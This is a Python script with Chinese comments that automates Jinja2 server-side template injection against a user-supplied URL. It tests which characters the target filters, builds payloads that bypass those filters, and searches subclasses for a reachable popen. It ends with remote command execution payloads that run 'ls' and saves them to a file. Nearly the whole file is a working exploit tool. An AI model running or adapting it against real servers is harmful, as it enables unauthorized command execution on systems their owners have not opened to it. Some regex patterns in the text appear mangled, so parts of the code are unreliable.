import requests
import html
import re
import time
def get_base_response(url):
"""获取基准响应(提交hello)"""
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
try:
params = {"a": "hello"}
resp = requests.get(url, params=params, headers=headers, timeout=5, verify=False)
resp.raise_for_status()
resp.encoding = resp.apparent_encoding
pattern = r'
\s*(.*?)\s*
'
match = re.search(pattern, resp.text, re.DOTALL)
base_core = match.group(1).strip() if match else resp.text.strip()
return {
"status_code": resp.status_code,
"core_content": base_core,
"full_text": resp.text
}
except Exception as e:
print(f"❌ 获取基准响应失败: {e}")
return None
def extract_diff(base_content, test_content):
"""提取测试响应与基准响应的差异"""
base_lines = base_content.split("\n")
test_lines = test_content.split("\n")
diff_lines = []
for line in test_lines:
line_stripped = line.strip()
if line_stripped and line_stripped not in base_lines and line_stripped != "":
diff_lines.append(line_stripped)
return "\n".join(diff_lines) if diff_lines else test_content[:300]
def test_filter_chars(url):
"""测试[]、.、_,对比基准展示差异"""
print("🔍 第一步:获取基准响应(提交hello)...")
base_resp = get_base_response(url)
if not base_resp:
return None
print(f"\n✅ 基准响应(hello):")
print(f" 状态码: {base_resp['status_code']}")
print(f" 核心内容: {base_resp['core_content'][:300]}...")
print("="*80)
test_cases = [
("中括号 []", "{{[1,2,3][0]}}", "正常应返回'1'"),
("点 .", "{{''.__class__}}", "正常应返回相关内容"),
("下划线 _", "{{''|attr('__class__')}}", "正常应返回相关内容")
]
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
test_results = {}
for name, payload, tip in test_cases:
print(f"\n📌 测试【{name}】:")
print(f" 测试payload: {payload}")
print(f" 预期结果: {tip}")
try:
params = {"a": payload}
resp = requests.get(url, params=params, headers=headers, timeout=5, verify=False)
pattern = r'\s*(.*?)\s*
'
match = re.search(pattern, resp.text, re.DOTALL)
test_core = match.group(1).strip() if match else resp.text.strip()
diff_content = extract_diff(base_resp['core_content'], test_core)
print(f" 状态码: {resp.status_code}")
print(f" 与基准的差异内容:")
print(f" --------------------")
print(f" {diff_content}")
print(f" --------------------")
test_results[name] = {
"status": "success",
"diff": diff_content,
"status_code": resp.status_code
}
except Exception as e:
print(f" ❌ 测试出错: {e}")
test_results[name] = {
"status": "error",
"error": str(e)
}
print("="*80)
return test_results
def get_bypass_choice():
"""用户选择绕过方案"""
print("\n📝 请根据测试结果选择需要启用的绕过方案(可组合):")
print(" 1 - 中括号 [] 绕过 (使用 __getitem__(x) 替代 [x],避免pop修改列表)")
print(" 2 - 点 . 绕过 (使用 |attr('attr') 替代 .attr)")
print(" 输入示例: 1,2 (启用中括号和点绕过)| 直接回车=不启用任何绕过")
choice = input("你的选择: ").strip()
bypass = {"bracket": False, "dot": False}
if choice:
# 处理中文逗号和空格
choice = choice.replace(",", ",").replace(" ", ",")
nums = [n.strip() for n in choice.split(",") if n.strip()]
if "1" in nums:
bypass["bracket"] = True
print("✅ 已启用【中括号】绕过(使用__getitem__替代[])")
if "2" in nums:
bypass["dot"] = True
print("✅ 已启用【点】绕过")
else:
print("✅ 未启用任何绕过方案")
return bypass
def generate_payload(bypass, index=None, type="count"):
"""
生成严格绕过的Payload(仅中括号绕过时用__getitem__,避免pop修改列表)
"""
# 直接构建符合绕过规则的payload
if type == "count":
if bypass["dot"]:
# 点绕过:使用|attr()
payload = "{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()}}"
else:
# 正常格式
payload = "{{''.__class__.__base__.__subclasses__()}}"
elif type == "init":
if bypass["dot"] and bypass["bracket"]:
# 点和中括号都绕过
payload = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')({index})|attr('__init__')}}}}"
elif bypass["dot"]:
# 仅点绕过
payload = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()[{index}]|attr('__init__')}}}}"
elif bypass["bracket"]:
# 仅中括号绕过
payload = f"{{{{''.__class__.__base__.__subclasses__().__getitem__({index}).__init__}}}}"
else:
# 正常格式
payload = f"{{{{''.__class__.__base__.__subclasses__()[{index}].__init__}}}}"
elif type == "globals":
if bypass["dot"] and bypass["bracket"]:
# 点和中括号都绕过
payload = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')({index})|attr('__init__')|attr('__globals__')}}}}"
elif bypass["dot"]:
# 仅点绕过
payload = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()[{index}]|attr('__init__')|attr('__globals__')}}}}"
elif bypass["bracket"]:
# 仅中括号绕过
payload = f"{{{{''.__class__.__base__.__subclasses__().__getitem__({index}).__init__.__globals__}}}}"
else:
# 正常格式
payload = f"{{{{''.__class__.__base__.__subclasses__()[{index}].__init__.__globals__}}}}"
elif type == "ls":
payloads = []
if bypass["dot"] and bypass["bracket"]:
# 点和中括号都绕过
payload1 = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')({index})|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('ls')|attr('read')()}}}}"
payload2 = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')({index})|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}}}"
elif bypass["dot"]:
# 仅点绕过
payload1 = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()[{index}]|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('ls')|attr('read')()}}}}"
payload2 = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()[{index}]|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}}}"
elif bypass["bracket"]:
# 仅中括号绕过
payload1 = f"{{{{''.__class__.__base__.__subclasses__().__getitem__({index}).__init__.__globals__.__getitem__('popen')('ls').read()}}}}"
payload2 = f"{{{{''.__class__.__base__.__subclasses__().__getitem__({index}).__init__.__globals__.__getitem__('os').popen('ls').read()}}}}"
else:
# 正常格式
payload1 = f"{{{{''.__class__.__base__.__subclasses__()[{index}].__init__.__globals__['popen']('ls').read()}}}}"
payload2 = f"{{{{''.__class__.__base__.__subclasses__()[{index}].__init__.__globals__['os'].popen('ls').read()}}}}"
payloads = [payload1, payload2]
# 校验:确保payload符合绕过规则
if type != "ls":
payloads = [payload]
for payload in payloads:
if bypass["bracket"] and index is not None:
if "[" in payload:
print(f"⚠️ Payload仍含中括号!{payload[:100]}")
if bypass["dot"]:
if "." in payload and not ".__getitem__" in payload:
print(f"⚠️ Payload仍含点符号!{payload[:100]}")
if type == "ls":
return payloads
else:
return payload
def get_subclasses_count(url, bypass):
"""获取子类总数(修复仅中括号绕过后的参数干扰)"""
payload = generate_payload(bypass, type="count")
# 核心修复:仅传a=payload,无多余参数
params = {"a": payload}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
try:
resp = requests.get(url, params=params, headers=headers, timeout=10, verify=False)
resp.raise_for_status()
resp.encoding = resp.apparent_encoding
pattern = r'\s*(.*?)\s*
'
match = re.search(pattern, resp.text, re.DOTALL)
if not match:
print("❌ 未获取到子类列表,核心响应:")
print(resp.text[:500])
return 0
# 修复:不清洗过度,保留原始子类列表
classes_str = match.group(1)
# 仅分割,不额外strip(避免空元素导致计数错误)
classes = [c for c in classes_str.split(',') if c.strip()]
count = len(classes)
print(f"✅ 成功获取到 {count} 个子类 (Payload: {payload})")
return count
except Exception as e:
print(f"❌ 获取子类数量失败: {e}")
# 尝试使用更简单的payload获取子类数量
try:
simple_payload = "{{''.__class__.__base__.__subclasses__()}}"
params = {"a": simple_payload}
resp = requests.get(url, params=params, headers=headers, timeout=10, verify=False)
resp.raise_for_status()
match = re.search(pattern, resp.text, re.DOTALL)
if match:
classes_str = match.group(1)
classes = [c for c in classes_str.split(',') if c.strip()]
count = len(classes)
print(f"✅ 使用简单payload成功获取到 {count} 个子类")
return count
except:
pass
return 0
def test_init_method(url, bypass, index):
"""测试__init__是否含wrapper"""
payload = generate_payload(bypass, index=index, type="init")
print(f"📋 测试序号{index}的payload: {payload}")
params = {"a": payload}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
try:
resp = requests.get(url, params=params, headers=headers, timeout=10, verify=False)
resp.raise_for_status()
resp.encoding = resp.apparent_encoding
pattern = r'\s*(.*?)\s*
'
match = re.search(pattern, resp.text, re.DOTALL)
if not match:
print(f"⚠️ 序号{index}未找到结果,视为含wrapper")
return True
content = match.group(1).lower()
# 直接查找是否包含wrapper字符串
has_wrapper = "wrapper" in content
print(f"📋 序号{index}结果: {'含wrapper' if has_wrapper else '不含wrapper'}")
return has_wrapper
except Exception as e:
print(f"⚠️ 测试序号{index}出错: {e},已跳过")
return True
def test_popen_in_globals(url, bypass, index):
"""测试__globals__是否含popen"""
payload = generate_payload(bypass, index=index, type="globals")
print(f"📋 检测序号{index}的payload: {payload}")
params = {"a": payload}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
try:
resp = requests.get(url, params=params, headers=headers, timeout=10, verify=False)
resp.raise_for_status()
resp.encoding = resp.apparent_encoding
pattern = r'\s*(.*?)\s*
'
match = re.search(pattern, resp.text, re.DOTALL)
if not match:
print(f"⚠️ 序号{index}未找到结果,视为不含popen")
return False, ""
content = match.group(1)
has_popen = "popen" in content.lower()
print(f"📋 序号{index}结果: {'含popen' if has_popen else '不含popen'}")
return has_popen, content
except Exception as e:
print(f"⚠️ 检测序号{index}的popen出错: {e},已跳过")
return False, ""
def generate_ls_payload(bypass, index):
"""生成ls payload"""
payloads = generate_payload(bypass, index=index, type="ls")
return {
"主payload": payloads[0],
"备用payload": payloads[1]
}
def main():
url = input("请输入测试URL: ").strip()
if not url:
print("❌ URL不能为空")
return
# 1. 测试特殊字符
test_filter_chars(url)
# 2. 选择绕过方案
bypass = get_bypass_choice()
# 3. 获取子类总数(核心修复)
subclasses_count = get_subclasses_count(url, bypass)
if subclasses_count == 0:
return
# 4. 筛选不含wrapper的序号
print("\n🔍 第二步:筛选不含wrapper的__init__方法...")
print("="*80)
valid_indexes = []
for index in range(subclasses_count):
if index % 10 == 0:
print(f"📌 进度: {index}/{subclasses_count}")
has_wrapper = test_init_method(url, bypass, index)
if not has_wrapper:
valid_indexes.append(index)
print(f"✅ 序号{index}: 不含wrapper,加入候选")
time.sleep(0.1)
if not valid_indexes:
print("❌ 未找到符合条件的序号")
return
print(f"\n📊 共找到 {len(valid_indexes)} 个不含wrapper的序号: {valid_indexes}")
# 5. 检测Popen
check_popen = input("\n是否检测Popen?(y/n): ").strip().lower()
if check_popen != "y":
print("\n📋 最终有效序号: ", valid_indexes)
return
print("\n🔍 第三步:检测Popen(找到即停)...")
print("="*80)
popen_index = None
popen_content = ""
for index in valid_indexes:
print(f"📌 检测序号{index}...")
has_popen, content = test_popen_in_globals(url, bypass, index)
if has_popen:
popen_index = index
popen_content = content
print(f"✅ 序号{index}: 检测到Popen!")
break
time.sleep(0.1)
if popen_index is not None:
print(f"\n🎉 可执行命令序号: {popen_index}")
payloads = generate_ls_payload(bypass, popen_index)
print("\n🚀 LS命令Payload:")
print(f"主payload: {payloads['主payload']}")
print(f"备用payload: {payloads['备用payload']}")
save = input("\n保存结果?(y/n): ").strip().lower()
if save == "y":
with open("ssti_exploit.txt", "w", encoding="utf-8") as f:
f.write(f"URL: {url}\n绕过: {bypass}\n有效序号: {popen_index}\n")
f.write(f"主payload: {payloads['主payload']}\n备用payload: {payloads['备用payload']}\n")
print("✅ 保存到 ssti_exploit.txt")
else:
print("\n❌ 未找到含Popen的序号")
print(f"📋 有效序号: {valid_indexes}")
if __name__ == "__main__":
main()